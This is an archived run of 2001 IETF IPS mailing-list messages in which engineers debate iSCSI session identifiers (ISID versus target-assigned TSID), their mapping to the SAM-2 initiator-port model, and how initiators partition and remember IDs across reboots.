Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Black_David@emc.com on 09/07/2001 06:29:46 AM To: John Hufferd/San Jose/IBM@IBMUS, Black_David@emc.com, Jim Hafner/Almaden/IBM@IBMUS cc: ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs > "Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID." > > Jim, & David, please correct me but I think this means that only one > Session could be started from any iSCSI Initiator Node to a Given Target. No, multiple sessions are still possible - they'd be distinguished by different TSIDs. If different portal groups are in use, that'd have to be encoded in the TSID. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 14:13:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22657 for ; Fri, 7 Sep 2001 14:13:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87GqMZ01764 for ips-outgoing; Fri, 7 Sep 2001 12:52:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from esply02.cnt.com (mailhost.cnt.com [139.93.128.21]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87GqIP01754 for ; Fri, 7 Sep 2001 12:52:20 -0400 (EDT) Received: by esply02.cnt.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 11:52:13 -0500 Message-ID: <3C7122FAF06DD5118ED60050047336482630FC@esply01.cnt.com> From: Michael Schoberg To: ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 11:49:17 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Ultimately, the detection of duplicate sessions has to occur on the target. If we are not expecting initiators to retain the TSID (target assigned SID) of any sort between reboots, then something totally initiator based may be the only fit. The recurring theme here is how to authenticate the passed ISID & TSID. What prevents HBA-B from saying it's HBA-A (or however you want to word it)? Putting session identification into the authentication exchange (and NOT the login header) may be the only way to guarantee detecting imposters. If you want to guarantee security along with recovery, I think this would be the better place to begin. It appears as though SID needs to act more like the Ethernet MAC address. We want something that uniquely identifies the initiator whenever it logs into a target (something larger than 16 bits). This moves more towards Marjorie's position that session identification should be pre-assigned to initiators through configuration: ... an iSCSI HBA will have to have a configuration interface, supplied by the manufacturer, in order to be installed ... I'm a little skeptical about the dual use of InitiatorName as part of the session identification. What prevents a pool of servers from sharing the same user account credentials (which may be useful in reducing administration overhead). It's unlikely that a group of servers would ever want to share the same session. Something like "SessionId=" that is pre-configured on each initiator might work better. From owner-ips@ece.cmu.edu Fri Sep 7 14:56:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24724 for ; Fri, 7 Sep 2001 14:56:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87H0r502275 for ips-outgoing; Fri, 7 Sep 2001 13:00:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87H0oP02267 for ; Fri, 7 Sep 2001 13:00:51 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 13:02:49 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD70C@CORPMX14> From: Black_David@emc.com To: hufferd@us.ibm.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 12:53:58 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk John, > Your reply is not clear. Please explain how the TSID would be formed in > the parallel session mode on the initiator (with a Wedge Driver in use)? Reserved TSID value of 0 (meaning "Please allocate a TSID") is sent on each leading login. Target allocates different TSIDs to the different parallel sessions. Wedge driver continues to work as it always has. A separate reply is coming to Jim's concern about how to map the "SCSI Initiator Port" concept, and will address the concern that the wrong mapping could limit the number of parallel sessions. > Then how would the session be cleaned up on reboot? A login with a non-zero TSID references the existing session with that TSID. A login with a zero TSID always creates a new session. If the Initiator has forgotten the TSID, the Target garbage collects that session using the same sort of timeout approach that it uses to recover from Initiators who have crashed and gone away. As noted earlier, if there are session resources like a Persistent Reserve on a session for which the Initiator has forgotten the TSID, the Initiator has a problem no matter what (same thing happens with current spec if it forgets the ISID). If we want the "Option A" functionality to aggressively blow away the old session, we'd probably have to add a bit to login saying "destroy the old session with this TSID (after checking that the authentication matches)" in order to distinguish the "error recovery" vs. "expedited destruction of old session" scenarios. Target implementers probably need to be strongly advised that they SHOULD NOT aggressively reuse session identifiers (e.g., TSIDs can be allocated off of a counter that rolls over back to 1 from its maximum value, along with a check for duplicates) to reduce problems that could arise from "expedited destruction" if the Target has reused the TSID value for a different session to the same iSCSI Initiator. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 07, 2001 12:23 PM > To: Black_David@emc.com > Cc: Jim Hafner; ips@ece.cmu.edu > Subject: RE: iSCSI: ISIDs > > > > David, > Your reply is not clear. Please explain how the TSID would > be formed in > the parallel session mode on the initiator (with a Wedge > Driver in use)? > Then how would the session be cleaned up on reboot? > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Black_David@emc.com on 09/07/2001 06:29:46 AM > > To: John Hufferd/San Jose/IBM@IBMUS, Black_David@emc.com, Jim > Hafner/Almaden/IBM@IBMUS > cc: ips@ece.cmu.edu > Subject: RE: iSCSI: ISIDs > > > > > "Recoverable session resources would be associated with the > combination > > of at the iSCSI Target, and > the initiator > > tracks via - in both cases the > TSID replaces > > the ISID." > > > > Jim, & David, please correct me but I think this means > that only one > > Session could be started from any iSCSI Initiator Node to a > Given Target. > > No, multiple sessions are still possible - they'd be distinguished by > different TSIDs. If different portal groups are in use, that'd have > to be encoded in the TSID. > > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > From owner-ips@ece.cmu.edu Fri Sep 7 15:02:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24850 for ; Fri, 7 Sep 2001 15:02:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87HpER05749 for ips-outgoing; Fri, 7 Sep 2001 13:51:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e32.bld.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87HpCP05742 for ; Fri, 7 Sep 2001 13:51:12 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e32.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id NAA68494; Fri, 7 Sep 2001 13:48:56 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87HpAb101776; Fri, 7 Sep 2001 11:51:10 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: ISIDs To: Michael Schoberg Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 10:50:27 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 11:51:10 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk During various meetings that we had as part of the Naming and Discovery Team, there was desire to have the same iSCSI Node Name be used across the Cluster, since it functions as a single logical OS. It was thought that the Cluster would then use static allocation to assign the ISID ranges to the various members. In this way the Cluster would have one Authentication Name (iSCSI Node Name). So the model we have today does extend across a Cluster. Based on what I have seen on this thread, that approach (Sharing the iSCSI Node Name across the Cluster, as a single logical OS) still works even with the TSID centric approach. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Michael Schoberg @ece.cmu.edu on 09/07/2001 09:49:17 AM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs Ultimately, the detection of duplicate sessions has to occur on the target. If we are not expecting initiators to retain the TSID (target assigned SID) of any sort between reboots, then something totally initiator based may be the only fit. The recurring theme here is how to authenticate the passed ISID & TSID. What prevents HBA-B from saying it's HBA-A (or however you want to word it)? Putting session identification into the authentication exchange (and NOT the login header) may be the only way to guarantee detecting imposters. If you want to guarantee security along with recovery, I think this would be the better place to begin. It appears as though SID needs to act more like the Ethernet MAC address. We want something that uniquely identifies the initiator whenever it logs into a target (something larger than 16 bits). This moves more towards Marjorie's position that session identification should be pre-assigned to initiators through configuration: ... an iSCSI HBA will have to have a configuration interface, supplied by the manufacturer, in order to be installed ... I'm a little skeptical about the dual use of InitiatorName as part of the session identification. What prevents a pool of servers from sharing the same user account credentials (which may be useful in reducing administration overhead). It's unlikely that a group of servers would ever want to share the same session. Something like "SessionId=" that is pre-configured on each initiator might work better. From owner-ips@ece.cmu.edu Fri Sep 7 15:03:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24896 for ; Fri, 7 Sep 2001 15:03:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87HmBQ05539 for ips-outgoing; Fri, 7 Sep 2001 13:48:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87Hm6P05531 for ; Fri, 7 Sep 2001 13:48:07 -0400 (EDT) Received: from eddylaptop (user-vc8ftn2.biz.mindspring.com [216.135.246.226]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNJDN; Fri, 7 Sep 2001 13:47:59 -0400 Reply-To: From: "Eddy Quicksall" To: "'Jim Hafner'" , Subject: RE: iSCSI: login issue - partial consensus call Date: Fri, 7 Sep 2001 13:47:58 -0400 Message-ID: <002401c137c5$3c16d9a0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Jim, Sounds like a good suggestion. Can we start another thread to get a consensus on this? If we do this, we need to document it so Miniport writers all know the procedure. Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Friday, September 07, 2001 12:23 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I have ideas on how this ought to be done, analogous to way that InitiatorName would get assigned. Take WinXX for example, I'd have a well-defined registry key where the miniports would look for their InitiatorName. The install of the first iSCSI miniport driver would look for that key, not find it and then instantiate whatever name is provided by the software installer. After that, any other driver installation (hopefully all driver installers would use the same key) would see that value and accept it. If not, then they could use another vendor-key which would render them as being a 'separate iSCSI Node' (and the conflict issues go away). In a similar way, the registry could hold ranges of ISIDs for each driver that installed. A driver on installation would claim some range of ISID's not already claimed by other drivers. If a driver claimed too many, then the next install might fail or trigger a management interface to reassign. If a driver didn't play by these rules (either because it didn't want to or was broken) then the customer probably get a new vendor! Right now, miniport drivers already get some (typically vendor-specific) information from the registry. There is no reason to believe WE can't cooperate in determining well-known keys for this purpose. I suggested in a private e-mail with David Black that we could make this ISID partitioning assignment a bit easier. For example, if we simply had in the registry a 'counter' for each miniport as it loaded. This counter could map nicely to a Portal Group Tag. Then we embed the portal group tag in the ISID (in some field within the ISID). Then you get explicit partitioning of ISIDs without a direct management interface that can screw up (David's concern). The drivers effectively enumerate themselves (and perhaps multiple portal groups for each driver, as needed) and the rest is for free. I think that drivers already enumerate themselves anyway, so this shouldn't be a problem. Similar things could happen for Unix and friends by just having a defined /etc/initiatorname file and enumeration of the drivers in /dev/iscsi. I didn't think this was such a big deal! Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/07/2001 06:51:06 am Please respond to Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, "Sandeep Joshi" cc: Subject: RE: iSCSI: login issue - partial consensus call John, We really should do this so a driver can be written for existing OS's. How would you hand out ISIDs when a Miniport is being loaded? Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Thursday, September 06, 2001 3:21 PM To: Sandeep Joshi Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Fri Sep 7 15:49:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA26100 for ; Fri, 7 Sep 2001 15:49:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87HtC706009 for ips-outgoing; Fri, 7 Sep 2001 13:55:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87Ht9P06001 for ; Fri, 7 Sep 2001 13:55:09 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 13:57:12 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD70E@CORPMX14> From: Black_David@emc.com To: hafner@almaden.ibm.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 13:48:22 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > We have (so far) relied on the ISID (along with the iSCSI Name) for the > SCSI Initiator Port name (and identifier) and relied on the "iSCSI > initiator endpoint of the session" for the SCSI Initiator Port. The ISID > RULE (no reuse of ISID to a given target portal group -- and whose > enforcement rule we've been debating) was intended to prevent parallel > nexus from being created. > > If we abandon any notion of the initiator providing the ISID then we've > somehow lost our handle on what constitutes the SCSI > Initiator Port. Let me take a whack at preserving something approximating the existing situation. Starting from your option c): > c) use the model we now use (SCSI Initiator Port = initiator end of > session) but find something other than the ISID to define the SCSI Port > Name. The only choice seems to be the SSID (=TSID). This might work more > or less as David outlined. It's a little odd, however, that the target is > now *assigning* an identifier/name to the SCSI Initiator Port; that is, the > SCSI Initiator Port doesn't have a name 'all to itself', but only in the > context of a target. Do we actually need an externally visible identifier for the SCSI Initiator Port? There's clearly a session endpoint on the Initiator side that corresponds to the , and the implementation is clearly able to identify it internally to keep its sessions straight, and this identification will be (at least implicitly) visible through a management interface that looks at all the open sessions on a host or device. In essence, I'm suggesting keeping the current mapping, but allowing part of the endpoint identifier to not be visible in the protocol. --David > -----Original Message----- > From: Jim Hafner [mailto:hafner@almaden.ibm.com] > Sent: Friday, September 07, 2001 11:47 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: ISIDs > > > > David, > > I've been mulling over your question concerning how Michael's proposal > (which I read as removing the ISID from the SSID and leaving > it up to the > target to assign the SSID) affects the SAM-2 mapping. I > don't have a good > answer. So, I'm going to brain dump here. > > We have (so far) relied on the ISID (along with the iSCSI > Name) for the > SCSI Initiator Port name (and identifier) and relied on the "iSCSI > initiator endpoint of the session" for the SCSI Initiator > Port. The ISID > RULE (no reuse of ISID to a given target portal group -- and whose > enforcement rule we've been debating) was intended to prevent parallel > nexus from being created. > > If we abandon any notion of the initiator providing the ISID > then we've > somehow lost our handle on what constitutes the SCSI > Initiator Port. We > effectively have to go back to square one to sort out the > initiator side of > the model mapping. I think we all pretty much agree that the > iSCSI Node > and the SCSI Device are intimately bound together. Our > choice for SCSI > Initiator Port come down to three > possibilities (as they always have): > > a) view all iSCSI-type SCSI Initiator Devices as being single (SCSI) > -ported. Then the SCSI Initiator Port can be identified by > the iSCSI Name. > There are similarities between this and a single ported FC HBA. Our > problem is then the parallel nexus issue. We need a rule > that says that we > can't have more than one session between a given iSCSI > Initiator and iSCSI > Target Portal Group; and we need to define the target's response to a > second such login. In effect, we've doubled our problems. > We have limited > our connectivity possibilities between a given iSCSI Initiator (max > sessions = number of target portal groups) and we still have > a 'rejection' > rule to decide (option A or option B). > > b) use the model we have for the target; namely, map the > iSCSI Initiator > Portal Group to a SCSI Initiator Port. With this, we get a > SCSI Initiator > Port name equal to the iSCSI Name + portal group tag. So far > so good. But > we are limited to one session per (initiator portal group, > target portal > group tag). This has similarities to a multi-HBA FC host. > We again limit > (to a lesser extent) our > connectivity possibilities: max sessions = (number of initiator portal > groups x number of target port groups). [In spite of the > simplicity of > this model which is independent of session identifiers, I > didn't pick this > because people felt that there was a legitimate reason to > build multiple > sessions between two portal groups (e.g., in the case where > both initiator > and target have only one HBA (so one portal group) and the > target doesn't > support more than one connection per session, I may want to > build multiple > sessions for extra parallelism, etc.).] > > c) use the model we now use (SCSI Initiator Port = initiator end of > session) but find something other than the ISID to define the > SCSI Port > Name. The only choice seems to be the SSID (=TSID). This > might work more > or less as David outlined. It's a little odd, however, that > the target is > now *assigning* an identifier/name to the SCSI Initiator > Port; that is, the > SCSI Initiator Port doesn't have a name 'all to itself', but > only in the > context of a target. The mind sort of boggles with this (and > it certain > stretches the credibility of the SAM-2 model of SCSI > Initiator Port, Port > Name and Port Identifier). We could instead pick for the SCSI > Initiator > Port Name/identifier the > union of the ipaddresses:tcpports of all the connections > involved in that > session, but I don't think that really gains us anything. > > In short, I don't know what approach to take here. > > We are effectively being constrained by SAM-2's model. We've already > stretched that model a lot by what's currently in the draft. > Summarizing > above, we can either limit our functionality (fewer sessions) > or stretch > the model further by having the target assign names to SCSI Initiator > Ports. > > It's not a good place to be. > > Jim Hafner > > > Black_David@emc.com@ece.cmu.edu on 09/06/2001 02:40:19 pm > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: iSCSI: ISIDs > > > > Time to back up and regroup on this topic. It's clear that ISID > management needs more attention, and hence there are some issues > more basic than the attempted consensus call to work out. So, > I'm going to abandon the attempted consensus call, and try to > make progress on the underlying ISID issue. Those whose posts > have called ISID management into question should not feel it > necessary to apologize - this is an important issue to unscramble. > > A rough summary of where we find ourselves is: > - iSCSI Initiator Names span network interfaces/adapters, > as do iSCSI Target Names. > - Multiple sessions are allowed between an iSCSI Initiator > and Target. These are identified by an ISID and a > TSID. > - The ISID is the Initiator portion of the Session identifier > and is used to track certain resources associated with > the session (e.g., persistent reserves). > - The TSID is the Target portion of the Session identifier, > and serves primarily to make sure that all session > identifiers (SSID = ISID||TSID) are unique at the > Target. > > Michael Schoberg suggest getting rid of the ISID: > > > ISID - initiator-defined session-identifier > > > > Since initiators don't know about other initiators connected to this > target, > > this has the potential of causing problems. Eliminate it. > The initiator > > should simply state it's intentions of establishing a new session or > adding > > a connection to an existing session (via binary flags). > > The implication of this would be to make SSID = TSID, dynamically > assigned by the Target (0 is a reserved value on Login asking Target > to do this assignment), and partitioned appropriately across > interfaces. > Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID. From a functional standpoint, this looks like it works, > and has the nice additional property that session resources can be > recovered through any iSCSI Initiator interface vs. having to go back > to the one that's allowed to use the ISID for that session if ISIDs > are statically partitioned. > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > > > From owner-ips@ece.cmu.edu Fri Sep 7 15:52:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA26155 for ; Fri, 7 Sep 2001 15:52:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87IRk608138 for ips-outgoing; Fri, 7 Sep 2001 14:27:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f87IRiP08128 for ; Fri, 7 Sep 2001 14:27:44 -0400 (EDT) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Fri Sep 7 14:27:19 EDT 2001 Received: from aura.research.bell-labs.com ([135.104.46.10]) by grubby; Fri Sep 7 14:27:35 EDT 2001 Received: from research.bell-labs.com (IDENT:sandeepj@sandeepj-pcmh.research.bell-labs.com [135.104.47.90]) by aura.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id OAA29671; Fri, 7 Sep 2001 14:27:00 -0400 (EDT) Message-ID: <3B991174.DB408994@research.bell-labs.com> Date: Fri, 07 Sep 2001 14:27:00 -0400 From: Sandeep Joshi X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: Black_David@emc.com CC: ips@ece.cmu.edu Subject: Re: iSCSI: ISIDs References: <277DD60FB639D511AC0400B0D068B71ECAD70D@CORPMX14> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit David, Black_David@emc.com wrote: > This is primarily an issue for recovery of session-associated resources > like Persistent Reserves. There's no free lunch here - it's necessary > to remember where these were put (which session) in order to get them > back. It can also help to get old sessions removed from the Target > faster. If the initiators remember TSIDs, this all works - is there > an important difference for implementations in remembering dynamically > assigned TSIDs vs. statically assigned ISID ranges? You have tackled every question except the one you have raised here and in a previous email :-) ..Is it a big difference for the initiator to remember a dynamically assigned ID ? Most hardware-based HBAs should have probed the network and discovered existing targets before the OS does its SCSI scan. In which case the HBA would have some persistent on-board memory as it cannot expect the OS to provide the ISIDs from some file or registry _before_ the SCSI scan. Hence I dont see a problem with the hardware-based HBA remembering an ID. As regards software-based initiators, they would be expected to initialize only after the OS (partly) initializes in which case they would have access to some "file" which could contain the IDs. I may be wrong here..but this point deserves some discussion from the people with cross-OS expertise if we are to go with target-assigned IDs scheme. thanks -Sandeep From owner-ips@ece.cmu.edu Fri Sep 7 15:54:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA26207 for ; Fri, 7 Sep 2001 15:54:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87HbBm04785 for ips-outgoing; Fri, 7 Sep 2001 13:37:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87Hb9P04781 for ; Fri, 7 Sep 2001 13:37:09 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 13:34:37 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD70D@CORPMX14> From: Black_David@emc.com To: michael_schoberg@cnt.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 13:30:26 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > Ultimately, the detection of duplicate sessions has to occur on the target. > If we are not expecting initiators to retain the TSID (target assigned SID) > of any sort between reboots, then something totally initiator based may be > the only fit. This is primarily an issue for recovery of session-associated resources like Persistent Reserves. There's no free lunch here - it's necessary to remember where these were put (which session) in order to get them back. It can also help to get old sessions removed from the Target faster. If the initiators remember TSIDs, this all works - is there an important difference for implementations in remembering dynamically assigned TSIDs vs. statically assigned ISID ranges? > The recurring theme here is how to authenticate the passed > ISID & TSID. What prevents HBA-B from saying it's HBA-A (or however you > want to word it)? Putting session identification into the authentication > exchange (and NOT the login header) may be the only way to guarantee > detecting imposters. If you want to guarantee security along with recovery, > I think this would be the better place to begin. This is seriously off-topic. There already is authentication in the login exchange which if used must complete before any damage is done to an existing session, and there's also IKE authentication at the IP level. In other words, the existing iSCSI draft specification already addresses this problem. > It appears as though SID needs to act more like the Ethernet MAC address. > We want something that uniquely identifies the initiator whenever it logs > into a target (something larger than 16 bits). This moves more towards > Marjorie's position that session identification should be pre-assigned to > initiators through configuration: > > ... an iSCSI HBA will have to have a configuration interface, > supplied by the manufacturer, in order to be installed ... If it has to be globally unique, it's going to need at least 64 bits. Global uniqueness is currently a function assigned to the iSCSI Initiator and Target names. Duplicating it in session identifiers is almost certainly a mistake. > I'm a little skeptical about the dual use of InitiatorName as part of the > session identification. What prevents a pool of servers from sharing the > same user account credentials (which may be useful in reducing > administration overhead). This is why the UserID (for iSCSI authentication) is separate from the iSCSI Initiator Name. One can share the UserID and associated account credentials across the servers but use a different iSCSI Initiator Name on each. > It's unlikely that a group of Servers would ever > want to share the same session. Something like "SessionId=" that is > pre-configured on each initiator might work better. Separate iSCSI Initiator Names should be used for this case. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 